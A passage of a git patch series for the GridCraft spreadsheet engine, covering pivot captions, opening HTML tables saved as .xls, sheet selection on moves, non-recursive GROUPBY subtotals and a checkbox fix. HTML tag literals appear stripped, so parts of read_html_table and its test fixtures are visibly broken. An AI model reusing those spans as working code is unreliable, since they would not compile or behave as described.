before it took Excel's "Count of …", and saved workbooks still carry it. + let is_auto = |base: &str| { + cur.name.eq_ignore_ascii_case(base) || cur.name.strip_prefix(base).is_some_and(|r| r.chars().all(|c| c.is_ascii_digit())) + }; + let legacy = cur.func == PivotFunc::CountNumbers && is_auto(&format!("Count Numbers of {}", cur.source_col)); + if is_auto(&auto_name(cur.func, &cur.source_col)) || legacy { v.name = unique_value_name(pt, &auto_name(f, &cur.source_col), Some(i)); } } diff --git a/crates/engine/src/cmd/pivot/tests.rs b/crates/engine/src/cmd/pivot/tests.rs index 1733a2664..308d30f4a 100644 --- a/crates/engine/src/cmd/pivot/tests.rs +++ b/crates/engine/src/cmd/pivot/tests.rs @@ -1029,3 +1029,20 @@ fn rank_ties_are_dense_and_count_numbers_is_captioned_count_of() { s.execute("pivot.valueSettings", json!({"index": 0, "showAs": "normal", "func": "countNumbers"})).unwrap(); assert_eq!(text(&s, "E3"), "Count of Val"); } + +#[test] +fn legacy_count_numbers_caption_follows_the_function() { + // Workbooks saved before Count Numbers was captioned "Count of" carry "Count Numbers of Val"; + // that is still an automatic caption, so it follows a new function. A custom name stays. + let mut s = Session::new(); + s.new_workbook(); + let rows = json!([["Key", "Val"], ["A", 5], ["B", 4]]); + s.execute("range.setValues", json!({"range": "A1", "values": rows})).unwrap(); + s.execute("insert.pivotTable", json!({"source": "Sheet1!$A$1:$B$3", "destination": "Sheet1!D3", "rows": ["Key"], "values": ["Val"]})).unwrap(); + for (legacy, after) in [("Count Numbers of Val", "Sum of Val"), ("Count Numbers of Val2", "Sum of Val"), ("Numbers counted", "Numbers counted")] { + s.execute("pivot.valueSettings", json!({"index": 0, "func": "countNumbers", "name": legacy})).unwrap(); + assert_eq!(text(&s, "E3"), legacy); + s.execute("pivot.valueSettings", json!({"index": 0, "func": "sum"})).unwrap(); + assert_eq!(text(&s, "E3"), after, "{legacy}"); + } +} From 44460f23cf18ba007da621652f2dbf0b42b98e98 Mon Sep 17 00:00:00 2001 From: Hector Villarreal Date: Tue, 3 Nov 2026 00:27:49 -0600 Subject: [PATCH 081/167] #3166: open a web page's table as a sheet, also when it is named .xls Web apps' "Export to Excel" often writes an HTML table and names it .xls. GridCraft read such a file as CSV text, so it opened as lines of markup in column A. Excel opens the table (after warning that the format and the extension don't match). Opening a file whose bytes are a web page with a table now reads the first table as a sheet, through the clipboard HTML table reader: the cells go through the CSV reader, so values read as they do in a CSV (and stay text with csvAsText); cells are bold and centred; the sheet takes the page's or the file's name. A page that isn't named .htm/.html opens with a warning saying what it is. Co-Authored-By: Claude Opus 5.5 --- crates/engine/src/clip_html.rs | 16 ++++--- crates/engine/src/io.rs | 78 ++++++++++++++++++++++++++++++++++ crates/engine/src/io/tests.rs | 32 ++++++++++++++ docs/file-format-parity.md | 5 ++- 4 files changed, 122 insertions(+), 9 deletions(-) diff --git a/crates/engine/src/clip_html.rs b/crates/engine/src/clip_html.rs index e1d217c9c..fa9822390 100644 --- a/crates/engine/src/clip_html.rs +++ b/crates/engine/src/clip_html.rs @@ -17,11 +17,13 @@ const MAX_ROW_SPAN: usize = gridcraft_core::MAX_ROWS as usize; /// table is ignored: the HTML only refines cells of the tab-separated text, which stays the source. const MAX_HTML_CELLS: usize = 1_000_000; -/// One table cell: its visible text and the number the source recorded for it, if any. +/// One table cell: its visible text, the number the source recorded for it, if any, and whether +/// it is a header cell (``). #[derive(Clone, Debug, Default, PartialEq)] pub(crate) struct HtmlCell { pub text: String, pub num: Option, + pub header: bool, } /// The cells of the first table in `html`, row by row, read no further than `max_rows` rows of @@ -88,7 +90,7 @@ pub(crate) fn table_cells(html: &str, max_rows: usize, max_cols: usize) -> Vec().ok()).filter(|n| n.is_finite()); let colspan = span(attrs, "colspan", MAX_SPAN); let rowspan = span(attrs, "rowspan", MAX_ROW_SPAN); - cell = Some(OpenCell { cell: HtmlCell { text: String::new(), num }, colspan, rowspan }); + cell = Some(OpenCell { cell: HtmlCell { text: String::new(), num, header: name == "th" }, colspan, rowspan }); } ("td" | "th", true) | ("tr", true) => grid.finish(&mut cell), ("br", _) => { @@ -376,18 +378,18 @@ mod tests { 2.50 & upx"#; let rows = table_cells(excel, 2, 3); assert_eq!(rows.len(), 2); - assert_eq!(rows[0][0], HtmlCell { text: "Rp10,000.00".into(), num: Some(10000.0) }); - assert_eq!(rows[0][1], HtmlCell { text: "Name".into(), num: None }); + assert_eq!(rows[0][0], HtmlCell { text: "Rp10,000.00".into(), num: Some(10000.0), ..HtmlCell::default() }); + assert_eq!(rows[0][1], HtmlCell { text: "Name".into(), num: None, ..HtmlCell::default() }); assert_eq!(rows[1].len(), 3, "colspan keeps the next cell in its column"); assert_eq!(rows[1][0].text, "2.50 & up"); assert_eq!(rows[1][2].text, "x"); let calc = r#"
Rp10,000.00
"#; - assert_eq!(table_cells(calc, 1, 1), vec![vec![HtmlCell { text: "Rp10,000.00".into(), num: Some(10000.0) }]]); + assert_eq!(table_cells(calc, 1, 1), vec![vec![HtmlCell { text: "Rp10,000.00".into(), num: Some(10000.0), ..HtmlCell::default() }]]); let quoted_gt = r#"
1500
"#; - assert_eq!(table_cells(quoted_gt, 1, 1), vec![vec![HtmlCell { text: "1500".into(), num: Some(1500.0) }]]); + assert_eq!(table_cells(quoted_gt, 1, 1), vec![vec![HtmlCell { text: "1500".into(), num: Some(1500.0), ..HtmlCell::default() }]]); } #[test] @@ -434,7 +436,7 @@ mod tests { assert!(cells <= MAX_HTML_CELLS, "{cells} cells"); assert!(rows.iter().all(|r| r.len() <= MAX_SPAN)); assert_eq!(rows[0].len(), MAX_SPAN, "the first span fills the sheet's width"); - assert_eq!(rows[0][0], HtmlCell { text: "1".into(), num: Some(1.0) }); + assert_eq!(rows[0][0], HtmlCell { text: "1".into(), num: Some(1.0), ..HtmlCell::default() }); // Bounded by the pasted text's shape, the same markup yields just that shape. let rows = table_cells(&html, 3, 2); diff --git a/crates/engine/src/io.rs b/crates/engine/src/io.rs index ce1fb40b0..9e3c7f7ae 100644 --- a/crates/engine/src/io.rs +++ b/crates/engine/src/io.rs @@ -291,6 +291,9 @@ fn read_plain(name: &str, bytes: &[u8], csv_as_text: bool) -> Result<(Workbook, })?; return Ok((wb, report.warnings)); } + if let Some(read) = read_html_table(name, kind, bytes, csv_as_text) { + return read; + } match kind { Some(FileKind::Json) => { let mut wb: Workbook = serde_json::from_slice(bytes).map_err(|e| EngineError::Other(format!("not a GridCraft JSON workbook: {e}")))?; @@ -346,9 +349,84 @@ fn part_too_large_message(name: &str, part: &str, size: u64) -> String { ) } +/// A web page that holds a table, whatever its extension: a web app's "Export to Excel" is often +/// HTML saved as `.xls` (#3166). Excel opens its table as a sheet (after warning that the format +/// and extension don't match): the cells read like typed input (or as text with `csv_as_text`), +/// header cells (``) are bold and centred, and the sheet takes the name the page gives it +/// (``) or the file's. `None` when the bytes aren't such a page. +fn read_html_table(name: &str, kind: Option, bytes: &[u8], csv_as_text: bool) -> Option)>> { + let text = String::from_utf8_lossy(bytes); + let head: String = text.trim_start_matches('\u{feff}').trim_start().chars().take(16).collect::().to_ascii_lowercase(); + if ![" = row + .iter() + .map(|cell| { + let field = match cell.num { + Some(n) => gridcraft_core::number_to_text(n), + None => cell.text.split_whitespace().collect::>().join(" "), + }; + if field.contains(['\t', '\n', '\r', '"']) { format!("\"{}\"", field.replace('"', "\"\"")) } else { field } + }) + .collect(); + tsv.push_str(&fields.join("\t")); + tsv.push('\n'); + } + let opts = gridcraft_xlsx::CsvOptions { delimiter: b'\t', parse_values: !csv_as_text, ..Default::default() }; + let read = gridcraft_xlsx::read_csv_with_report(tsv.as_bytes(), &opts).map_err(|e| EngineError::Other(e.to_string())); + Some(read.map(|(mut wb, report)| { + wb.csv_delimiter = None; + let header_style = wb.styles.derive(gridcraft_model::StyleId::DEFAULT, |st| { + st.font.bold = true; + st.align.h = gridcraft_model::HAlign::Center; + }); + if let Some(sh) = wb.sheet_mut(0) { + for (r, row) in rows.iter().enumerate() { + for (c, cell) in row.iter().enumerate() { + if cell.header && !cell.text.trim().is_empty() { + sh.set_style(CellRef::new(r as u32, c as u32), header_style); + } + } + } + } + let page_name = find_between(&text, "", "").map(|n| crate::clip_html::normalized(n.trim())); + match page_name.filter(|n| !n.is_empty()) { + Some(sheet) => set_first_sheet_name(&mut wb, &sheet), + None => rename_first_sheet(&mut wb, name), + } + let mut warnings = report.warnings; + if !matches!(kind, Some(FileKind::Html)) { + warnings.insert(0, format!("'{name}' is a web page (HTML), not a workbook in the format its name says: its table was opened as a sheet. Save as .xlsx to keep your changes.")); + } + (wb, warnings) + })) +} + +/// The text between the first `open` and the `close` after it, matched case-insensitively. +fn find_between<'a>(text: &'a str, open: &str, close: &str) -> Option<&'a str> { + let lower = text.to_ascii_lowercase(); + let start = lower.find(&open.to_ascii_lowercase())?.checked_add(open.len())?; + let len = lower.get(start..)?.find(&close.to_ascii_lowercase())?; + text.get(start..start.checked_add(len)?) +} + /// A CSV opens as a sheet named after the file (like Excel). fn rename_first_sheet(wb: &mut Workbook, path: &str) { let stem = std::path::Path::new(path).file_stem().and_then(std::ffi::OsStr::to_str).unwrap_or("Sheet1"); + set_first_sheet_name(wb, stem); +} + +/// Names the first sheet `name`, without the characters a sheet name can't hold and cut to 31 +/// characters; an empty or reserved result keeps the default name. +fn set_first_sheet_name(wb: &mut Workbook, stem: &str) { let clean: String = stem.chars().filter(|c| !matches!(c, ':' | '\\' | '/' | '?' | '*' | '[' | ']')).take(31).collect(); let clean = clean.trim_matches('\'').to_string(); // "History" is reserved (see `Workbook::check_sheet_name`): keep the default name instead. diff --git a/crates/engine/src/io/tests.rs b/crates/engine/src/io/tests.rs index 9051c5c09..34b1a3c0a 100644 --- a/crates/engine/src/io/tests.rs +++ b/crates/engine/src/io/tests.rs @@ -604,3 +604,35 @@ fn opening_google_sheets_export_unwraps_only_formulas_gridcraft_calculates() { assert_eq!(text("A2").as_deref(), Some("IFERROR(__XLUDF.DUMMYFUNCTION(\"GOOGLETRANSLATE(\"\"hi\"\",\"\"en\"\",\"\"fr\"\")\"),\"salut\")")); assert_eq!(opened.sheets[0].cells.get(CellRef::parse("A2").unwrap()).map(|c| c.value.clone()), Some(Value::text("salut"))); } + +#[test] +fn a_web_page_saved_as_xls_opens_its_table() { + // #3166: a web app's "Export to Excel" is an HTML table saved as .xls; it opened as lines of + // markup. Excel opens the table: values read as typed, bold and centred, names + // the sheet. + let page = "\u{feff}\ + \ + \ + \ +
ItemQtyCode
Kiwi &\n Lime12007
Plum4,50042
"; + let (wb, warnings) = open_bytes("orders.xls", page.as_bytes()).unwrap(); + assert!(warnings.first().is_some_and(|w| w.contains("is a web page (HTML)")), "{warnings:?}"); + let sh = wb.sheet(0).unwrap(); + assert_eq!(sh.name, "Orders"); + let v = |a: &str| sh.value(CellRef::parse(a).unwrap()); + assert_eq!(v("A1"), gridcraft_core::Value::text("Item")); + assert_eq!(v("A2"), gridcraft_core::Value::text("Kiwi & Lime")); + assert_eq!(v("B2"), gridcraft_core::Value::number(12.0)); + assert_eq!(v("C2"), gridcraft_core::Value::number(7.0), "read like typed input, as Excel does"); + assert_eq!(v("B3"), gridcraft_core::Value::number(4.5), "the number the page recorded"); + let style = |a: &str| wb.styles.get(sh.style_id(CellRef::parse(a).unwrap())).clone(); + assert!(style("A1").font.bold && style("A1").align.h == gridcraft_model::HAlign::Center); + assert!(!style("A2").font.bold); + // Opened as text, codes keep their zeros; a page named .html gets no warning. + let (wb, warnings) = open_bytes_with("orders.html", page.as_bytes(), None, true).unwrap(); + assert!(warnings.is_empty(), "{warnings:?}"); + assert_eq!(wb.sheet(0).unwrap().value(CellRef::parse("C2").unwrap()), gridcraft_core::Value::text("007")); + // Plain text that merely starts with a tag-like word is still read as CSV. + let (wb, _) = open_bytes("notes.csv", b",1\nx,2\n").unwrap(); + assert_eq!(wb.sheet(0).unwrap().value(CellRef::parse("B2").unwrap()), gridcraft_core::Value::number(2.0)); +} diff --git a/docs/file-format-parity.md b/docs/file-format-parity.md index c4bc72bae..8e4a8fed7 100644 --- a/docs/file-format-parity.md +++ b/docs/file-format-parity.md @@ -1,6 +1,6 @@ # File-format parity -> **Last reviewed:** 2026-11-01 · **Last updated:** 2026-11-02 · **Change:** minor (Python cells in `.xlsx` as [MS-XLSX] specifies, `_xlfn._xlws.PY(…)` naming code in the Python part, with cached values, and in GridCraft JSON, with limits on open; earlier: equations in xlsx as Office Math with a marker in `descr` so an edit made in Excel reads back, read back only up to the equation source cap, and a brace with a label and a script on its other side keeps both; Symbol font in PDF; earlier: XLSX reads and writes Page Setup's page order, `pageSetup pageOrder`, and PDF export follows it; earlier: chart data tables: native c:dTable import/export; earlier: XLSX workbook-view selection, normalized tab ratios and sheet-edit regressions; fidelity estimates unchanged; earlier: formulas from Google Sheets' XLSX export open as the original formula instead of `IFERROR(__xludf.DUMMYFUNCTION(…),…)` when GridCraft calculates every function in it, and save as it; `file.exportCsv {values: true}` writes raw values for automation; .xls dialog sheets are skipped instead of read as worksheets; `.xls` import reads each sheet's display options from WINDOW2: right-to-left, gridlines, headings, zeros, formulas; XLSX text boxes and shapes keep their paragraphs' right-to-left direction on save; CSV/TSV/TXT can open with every field kept as text via `file.open {csvAsText}`; formulas over Excel's 8,192 characters, and `%` or call chains past the nesting limit, are parse errors instead of stack overflows when a file is opened; XLSX PivotTables read and write `rowGrandTotals`/`colGrandTotals` the way Excel does, so a table saved with only one grand total opens with the right one; HTML export keeps right-to-left; CSV and text import detects likely Windows-1256 Arabic when invalid UTF-8 has Arabic byte runs; other invalid UTF-8 remains Windows-1252; HTML export places pictures and charts, as inline SVG, at their anchors; earlier: `file.exportCsv {values: true}` writes raw values for automation; .xls dialog sheets are skipped instead of read as worksheets; `.xls` import reads each sheet's display options from WINDOW2: right-to-left, gridlines, headings, zeros, formulas; XLSX text boxes and shapes keep their paragraphs' right-to-left direction on save; CSV/TSV/TXT can open with every field kept as text via `file.open {csvAsText}`; formulas over Excel's 8,192 characters, and `%` or call chains past the nesting limit, are parse errors instead of stack overflows when a file is opened; XLSX PivotTables read and write `rowGrandTotals`/`colGrandTotals` the way Excel does, so a table saved with only one grand total opens with the right one; HTML export keeps right-to-left; CSV and text import detects likely Windows-1256 Arabic when invalid UTF-8 has Arabic byte runs; other invalid UTF-8 remains Windows-1252; HTML export places pictures and charts, as inline SVG, at their anchors; CSV and text open detects each column's date order from values that read only one way, warns when every date is ambiguous, and keeps a column with both kinds as text (#2765)) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 +> **Last reviewed:** 2026-11-01 · **Last updated:** 2026-11-03 · **Change:** minor (a web page's first table opens as a sheet, also when the page is named `.xls`; earlier: Python cells in `.xlsx` as [MS-XLSX] specifies, `_xlfn._xlws.PY(…)` naming code in the Python part, with cached values, and in GridCraft JSON, with limits on open; earlier: equations in xlsx as Office Math with a marker in `descr` so an edit made in Excel reads back, read back only up to the equation source cap, and a brace with a label and a script on its other side keeps both; Symbol font in PDF; earlier: XLSX reads and writes Page Setup's page order, `pageSetup pageOrder`, and PDF export follows it; earlier: chart data tables: native c:dTable import/export; earlier: XLSX workbook-view selection, normalized tab ratios and sheet-edit regressions; fidelity estimates unchanged; earlier: formulas from Google Sheets' XLSX export open as the original formula instead of `IFERROR(__xludf.DUMMYFUNCTION(…),…)` when GridCraft calculates every function in it, and save as it; `file.exportCsv {values: true}` writes raw values for automation; .xls dialog sheets are skipped instead of read as worksheets; `.xls` import reads each sheet's display options from WINDOW2: right-to-left, gridlines, headings, zeros, formulas; XLSX text boxes and shapes keep their paragraphs' right-to-left direction on save; CSV/TSV/TXT can open with every field kept as text via `file.open {csvAsText}`; formulas over Excel's 8,192 characters, and `%` or call chains past the nesting limit, are parse errors instead of stack overflows when a file is opened; XLSX PivotTables read and write `rowGrandTotals`/`colGrandTotals` the way Excel does, so a table saved with only one grand total opens with the right one; HTML export keeps right-to-left; CSV and text import detects likely Windows-1256 Arabic when invalid UTF-8 has Arabic byte runs; other invalid UTF-8 remains Windows-1252; HTML export places pictures and charts, as inline SVG, at their anchors; earlier: `file.exportCsv {values: true}` writes raw values for automation; .xls dialog sheets are skipped instead of read as worksheets; `.xls` import reads each sheet's display options from WINDOW2: right-to-left, gridlines, headings, zeros, formulas; XLSX text boxes and shapes keep their paragraphs' right-to-left direction on save; CSV/TSV/TXT can open with every field kept as text via `file.open {csvAsText}`; formulas over Excel's 8,192 characters, and `%` or call chains past the nesting limit, are parse errors instead of stack overflows when a file is opened; XLSX PivotTables read and write `rowGrandTotals`/`colGrandTotals` the way Excel does, so a table saved with only one grand total opens with the right one; HTML export keeps right-to-left; CSV and text import detects likely Windows-1256 Arabic when invalid UTF-8 has Arabic byte runs; other invalid UTF-8 remains Windows-1252; HTML export places pictures and charts, as inline SVG, at their anchors; CSV and text open detects each column's date order from values that read only one way, warns when every date is ambiguous, and keeps a column with both kinds as text (#2765)) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 Every format Excel opens or saves, with GridCraft's read and write support, fidelity and tests. Part of [target-app-parity.md](target-app-parity.md). **File formats: ~50% ready, 80–120 h** @@ -107,7 +107,7 @@ past the parser's limit, and a wrapper inside the text. **Saving writes the real | `.txt` tab-delimited, Unicode text | R/W | yes (`.txt`, `.tsv`, `.tab`; likely Windows-1256 Arabic detection for invalid UTF-8; per-column day/month date-order detection for `/` and `-` dates) | yes (displayed values) | Text Import Wizard options partly via Text to Columns | | `.prn` formatted text (space-delimited) | R/W | no | no | | | `.dif`, `.slk` (SYLK) | R/W | no | no | Small, legacy | -| `.htm` / `.html` web page | R/W (Windows) | yes, via Get Data ▸ From HTML | yes (one sheet as a table; a used range taller than 100,001 rows fails with an error instead of being cut short) | Formatting not exported. A sheet with pictures or charts is written with the sheet's own column widths and row heights, a picture as a `data:` URI `` and a chart as inline SVG, each placed at its anchor; shapes, text boxes and comments are not exported | +| `.htm` / `.html` web page | R/W (Windows) | yes, via Get Data ▸ From HTML | yes: opening reads the page's first table as a sheet (header cells bold and centred, values read as typed, the sheet named by ``), also when the page is saved as `.xls`/`.xlsx` as web apps' "Export to Excel" does, with a warning that the format and name don't match (#3166); saving writes one sheet as a table; a used range taller than 100,001 rows fails with an error instead of being cut short) | Formatting not exported. A sheet with pictures or charts is written with the sheet's own column widths and row heights, a picture as a `data:` URI `` and a chart as inline SVG, each placed at its anchor; shapes, text boxes and comments are not exported | | `.mht` / `.mhtml` single-file web page | R/W (Windows) | no | no | | | `.json` | via Power Query | GridCraft's own workbook JSON (debug) and JSON import | GridCraft JSON | Not Power Query's JSON shaping; notes and hyperlinks break export (#126) | | `.xml` with XML maps | Developer ▸ Import/Export | no | no | | @@ -155,6 +155,7 @@ refresh. Counted under features (Get & Transform, ~10% ready), not here. | Date | Change | Summary | |---|---|---| +| 2026-11-03 | minor | Opening a web page (HTML) reads its first table as a sheet, whatever the file is called: a web app's "Export to Excel" saved as `.xls` no longer opens as lines of markup. Values read as in a CSV (or as text with `csvAsText`), `` cells are bold and centred, `` names the sheet, and a page not named `.htm`/`.html` opens with a warning (#3166) | | 2026-11-02 | minor | Python cells: `.xlsx` reads and writes `_xlfn._xlws.PY(i,0 or 1)` with the code in the Python part (and reads the string-literal form) with cached values and spills, other formats adopt PY formulas, GridCraft JSON keeps the whole cell, and opening limits code size, result size and spill ranges | | 2026-11-02 | trivial | An equation without Office Math takes its stored source only while its text, paragraphs included, is what the writer wrote for it; a paragraph split that changes no character reads back as a text box with the split text | | 2026-11-02 | trivial | Each equation box carries the marker of its own body in its description, the Office Math box and the plain-text fallback alike, and the reader takes the stored source only while the body it reads matches the marker: the text of an equation without Office Math that another application edited reads back as a text box with the edited text instead of the stale source | From ba1c62469da1f52c3ef8041f26a128c588ffb697 Mon Sep 17 00:00:00 2001 From: Hector Villarreal Date: Tue, 3 Nov 2026 00:31:59 -0600 Subject: [PATCH 082/167] #3136: a move on another sheet keeps the active sheet's selection Addresses CodeRabbit review on #3216, "Keep the selection on the sheet it describes": moving Two!B1:B2 with Sheet1 active selected A1:A2 on Sheet1, where nothing moved. The selection belongs to the active sheet, so range.move now keeps it when the moved cells are on another sheet; a move on the active sheet still selects the moved cells. Test: drag_and_drop_on_another_sheet_stays_on_that_sheet (now also checks the selection). Co-Authored-By: Claude Opus 5.5 --- crates/engine/src/cmd/edit/clipboard.rs | 10 ++++++++-- crates/engine/src/cmd/edit/tests.rs | 4 ++++ 2 files changed, 12 insertions(+), 2 deletions(-) diff --git a/crates/engine/src/cmd/edit/clipboard.rs b/crates/engine/src/cmd/edit/clipboard.rs index 78057691f..bbef17163 100644 --- a/crates/engine/src/cmd/edit/clipboard.rs +++ b/crates/engine/src/cmd/edit/clipboard.rs @@ -183,8 +183,14 @@ pub(super) fn range_move(s: &mut Session, p: &Json) -> Result { { return Err(EngineError::Confirm("There's already data here. Do you want to replace it?".into())); } - // On the range's sheet, which `paste` would leave to the active one. - paste_special(s, &json!({"what": "all", "at": to.a1(), "sheet": sheet})) + // On the range's sheet, which `paste` would leave to the active one. The selection + // belongs to the active sheet: it follows the moved cells only when they are on it. + let selection = s.doc()?.selection.clone(); + let pasted = paste_special(s, &json!({"what": "all", "at": to.a1(), "sheet": sheet}))?; + if sheet != s.doc()?.wb.active_sheet() { + s.doc_mut()?.selection = selection; + } + Ok(pasted) }); if moved.is_err() { s.clipboard = kept; diff --git a/crates/engine/src/cmd/edit/tests.rs b/crates/engine/src/cmd/edit/tests.rs index e5b223a91..d24559d20 100644 --- a/crates/engine/src/cmd/edit/tests.rs +++ b/crates/engine/src/cmd/edit/tests.rs @@ -408,7 +408,11 @@ fn drag_and_drop_on_another_sheet_stays_on_that_sheet() { s.execute("range.setValues", json!({"range": "B1:B2", "values": [["Kiwi"], ["Plum"]]})).unwrap(); s.execute("sheet.activate", json!({"sheet": 0})).unwrap(); s.execute("cell.set", json!({"cell": "A1", "input": "Keep"})).unwrap(); + s.execute("selection.set", json!({"range": "C5"})).unwrap(); s.execute("range.move", json!({"range": "Two!B1:B2", "to": "A1"})).unwrap(); + // Sheet1 stays active with its own selection; the moved cells are on Two. + assert_eq!(s.doc().unwrap().wb.active_sheet(), 0); + assert_eq!(s.doc().unwrap().selection.a1(), "C5"); let wb = &s.doc().unwrap().wb; let two = wb.sheet_index("Two").unwrap(); assert_eq!(wb.sheet(0).unwrap().value(CellRef::new(0, 0)), Value::text("Keep")); From ef8ac5e6db1d157f5539d628ac5243157a9745ea Mon Sep 17 00:00:00 2001 From: Hector Villarreal Date: Tue, 3 Nov 2026 00:36:42 -0600 Subject: [PATCH 083/167] #1456: GROUPBY refuses oversized subtotals before building them, without recursion Addresses CodeRabbit review on #3221, "Check the output size before with_subtotals builds subtotal lines": the size limit was checked only after every subtotal line existed. A row with 4000 key columns at total depth 4000 nested with_subtotals 4000 levels deep and overflowed the stack (the process aborted) before the late check could refuse it. with_subtotals now works without recursion: each line gets an id for its key prefix at every level, a stable sort by those ids keeps each group together in first-appearance order, and one walk adds the subtotals. The output size (with the header and total lines when present) is checked while the groups are counted, before any subtotal line is built. Test: groupby_subtotals_past_the_size_limit_are_refused_before_they_are_built. Co-Authored-By: Claude Opus 5.5 --- crates/functions/src/dynamic.rs | 106 +++++++++++++++++++++++--------- 1 file changed, 76 insertions(+), 30 deletions(-) diff --git a/crates/functions/src/dynamic.rs b/crates/functions/src/dynamic.rs index 7115e44c3..816af8ea2 100644 --- a/crates/functions/src/dynamic.rs +++ b/crates/functions/src/dynamic.rs @@ -800,7 +800,11 @@ fn groupby(args: &[Arg], c: &mut dyn Ctx) -> R { } if depth > 1 { let mut rows_of = |keys: &[Value]| groups.get(&row_key(keys)).cloned().unwrap_or_default(); - lines = with_subtotals(lines, 0, depth, rf.cols, total < 0, &mut rows_of, &mut agg_row); + // The header and total lines count too, so the whole result is checked before it is built. + let around = usize::from(p.show_headers) + usize::from(total != 0); + let width = rf.cols.saturating_add(vals.cols); + let fits = |n: usize| check_output_size(n.saturating_add(around), width); + lines = with_subtotals(lines, depth, rf.cols, total < 0, &fits, &mut rows_of, &mut agg_row)?; } let mut out = Vec::new(); if p.show_headers { @@ -824,49 +828,82 @@ fn groupby(args: &[Arg], c: &mut dyn Ctx) -> R { from_rows(out, &Value::Empty) } -/// GROUPBY's subtotals: `lines` (`key_cols` keys, then values) with the lines of each group of the -/// key at `level` kept together in the order the groups first appear, and for every key level above +/// GROUPBY's subtotals: `lines` (`key_cols` keys, then values) with the lines of each group of a +/// key level kept together in the order the groups first appear, and for every key level above /// `depth` a line after the group (before it when `before`): the group's keys, blanks for the deeper /// keys, and the values aggregated over the group's source rows (`rows_of` maps a line's keys to them). +/// +/// No recursion, so a deep total depth can't exhaust the stack: each line gets the id of its key +/// prefix at every level (ids count up as prefixes first appear), a stable sort by those ids brings +/// each group together, and one walk adds a subtotal where a group starts or ends. `fits` gets the +/// line count as the groups are found, so an oversized result is refused before it is built. fn with_subtotals( - lines: Vec>, - level: usize, + mut lines: Vec>, depth: usize, key_cols: usize, before: bool, + fits: &dyn Fn(usize) -> R<()>, rows_of: &mut dyn FnMut(&[Value]) -> Vec, agg: &mut dyn FnMut(&[usize]) -> Vec, -) -> Vec> { - if level + 1 >= depth { - return lines; +) -> R>> { + let levels = depth.saturating_sub(1); + if levels == 0 { + return Ok(lines); } - let mut order: Vec = Vec::new(); - let mut members: HashMap>> = HashMap::new(); - for line in lines { - let key = row_key(line.get(level..=level).unwrap_or_default()); - let group = members.entry(key.clone()).or_default(); - if group.is_empty() { - order.push(key); + let mut ids: HashMap<(usize, String), usize> = HashMap::new(); + let mut paths: Vec> = Vec::with_capacity(lines.len()); + for line in &lines { + let mut parent = usize::MAX; + let mut path = Vec::with_capacity(levels); + for level in 0..levels { + let next = ids.len(); + parent = *ids.entry((parent, row_key(line.get(level..=level).unwrap_or_default()))).or_insert(next); + path.push(parent); } - group.push(line); + fits(lines.len().saturating_add(ids.len()))?; + paths.push(path); } - let mut out = Vec::new(); - for key in order { - let group = members.remove(&key).unwrap_or_default(); - let mut subtotal: Vec = group.first().map(|line| line.iter().take(level + 1).cloned().collect()).unwrap_or_default(); - subtotal.resize(key_cols, Value::Empty); - let rows: Vec = group.iter().flat_map(|line| rows_of(line.get(..key_cols).unwrap_or_default())).collect(); - subtotal.extend(agg(&rows)); - let inner = with_subtotals(group, level + 1, depth, key_cols, before, rows_of, agg); + let mut group_rows: Vec> = vec![Vec::new(); ids.len()]; + for (line, path) in lines.iter().zip(&paths) { + let rows = rows_of(line.get(..key_cols).unwrap_or_default()); + for &id in path { + if let Some(g) = group_rows.get_mut(id) { + g.extend_from_slice(&rows); + } + } + } + let mut subtotal = |keys: &[Value], level: usize, id: usize| -> Vec { + let mut line: Vec = keys.iter().take(level + 1).cloned().collect(); + line.resize(key_cols, Value::Empty); + line.extend(agg(group_rows.get(id).map(Vec::as_slice).unwrap_or_default())); + line + }; + let mut order: Vec = (0..lines.len()).collect(); + order.sort_by(|&a, &b| paths.get(a).cmp(&paths.get(b))); + let mut out = Vec::with_capacity(lines.len().saturating_add(ids.len())); + let mut prev: Option<(Vec, &[usize])> = None; + for &i in &order { + let (Some(line), Some(path)) = (lines.get_mut(i).map(std::mem::take), paths.get(i)) else { continue }; + // The first level at which this line leaves the previous line's groups. + let split = prev.as_ref().map_or(0, |(_, p)| p.iter().zip(path).take_while(|(a, b)| a == b).count()); if before { - out.push(subtotal); - out.extend(inner); - } else { - out.extend(inner); - out.push(subtotal); + for (level, &id) in path.iter().enumerate().skip(split) { + out.push(subtotal(&line, level, id)); + } + } else if let Some((keys, p)) = &prev { + for (level, &id) in p.iter().enumerate().skip(split).rev() { + out.push(subtotal(keys, level, id)); + } + } + prev = Some((line.get(..key_cols).unwrap_or_default().to_vec(), path)); + out.push(line); + } + if !before && let Some((keys, p)) = &prev { + for (level, &id) in p.iter().enumerate().rev() { + out.push(subtotal(keys, level, id)); } } - out + Ok(out) } /// Height and width of a PIVOTBY grid: `header_rows` (one per column field, plus the value-name row) and @@ -1322,6 +1359,15 @@ mod tests { is_err(ev("GROUPBY", vec![rf(region), av(col(&[1.0])), t("SUM")]), CellError::Value); } + #[test] + fn groupby_subtotals_past_the_size_limit_are_refused_before_they_are_built() { + // One row with 4000 key columns at depth 4000 asks for 3999 subtotal lines, each 4001 cells + // wide: 16 million cells, over the limit. It is #NUM! before any subtotal line exists (it + // used to build them all, nesting 4000 levels deep, and refuse them afterwards). + let keys = av(arr(vec![(0..4000).map(|i| nv(f64::from(i))).collect()])); + is_err(ev("GROUPBY", vec![keys, av(col(&[1.0])), t("SUM"), empty(), n(4000.0)]), CellError::Num); + } + #[test] fn groupby_total_depth_adds_subtotals() { // #1456 item 1, values as Excel 365 shows them. From d5c892f23874f20b105f16a9cee8b1c23eb5d75d Mon Sep 17 00:00:00 2001 From: Hector Villarreal Date: Tue, 3 Nov 2026 00:37:00 -0600 Subject: [PATCH 084/167] #2630: mark the checkbox mapping bag with its extRef A workbook with checkboxes saved by GridCraft made Excel repair it ("Repaired records: Format from /xl/styles.xml (Styles)") and drop every checkbox. The feature property bag part GridCraft writes for checkboxes left out extRef="XFComplementsMapperExtRef" on the XFComplements bag, the bag the cell formats' xfComplement indexes into. With it, Excel opens the file without repairing and shows the checkboxes. Co-Authored-By: Claude Opus 5.5 --- crates/xlsx/src/feature_bags.rs | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) diff --git a/crates/xlsx/src/feature_bags.rs b/crates/xlsx/src/feature_bags.rs index 71a6514a5..db2e73e91 100644 --- a/crates/xlsx/src/feature_bags.rs +++ b/crates/xlsx/src/feature_bags.rs @@ -25,10 +25,13 @@ pub const XF_EXT_URI: &str = 